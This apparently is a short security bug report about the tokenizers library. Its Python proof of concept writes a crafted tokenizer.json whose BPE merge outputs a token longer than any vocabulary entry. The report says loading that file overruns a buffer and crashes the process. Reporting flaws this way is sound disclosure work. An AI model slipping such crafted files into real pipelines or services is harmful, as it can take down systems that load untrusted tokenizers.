[安全性] 加载恶意 tokenizer.json 时，加载时进程被终止（BPE 合并缓冲区溢出）

import os, json from tokenizers import Tokenizer

vocab's longest key is length 2 ("aa", "bb"); merge ["aa", "bb"] -> "aabb" (len 4) > max_len (2), overrunning the merge buffer at bpe/model.rs:267 during LOAD.

malicious = { "version": "1.0", "truncation": None, "padding": None, "added_tokens": [], "normalizer": None, "pre_tokenizer": None, "post_processor": None, "decoder": None, "model": { "type": "BPE", "dropout": None, "unk_token": None, "continuing_subword_prefix": None, "end_of_word_suffix": None, "fuse_unk": False, "byte_fallback": False, "ignore_merges": False, "vocab": {"aa": 0, "bb": 1}, "merges": [["aa", "bb"]], }, } p = os.path.expanduser("~/poc_tokenizer.json") open(p, "w").write(json.dumps(malicious)) Tokenizer.from_file(p) # panics: range end index 4 out of bounds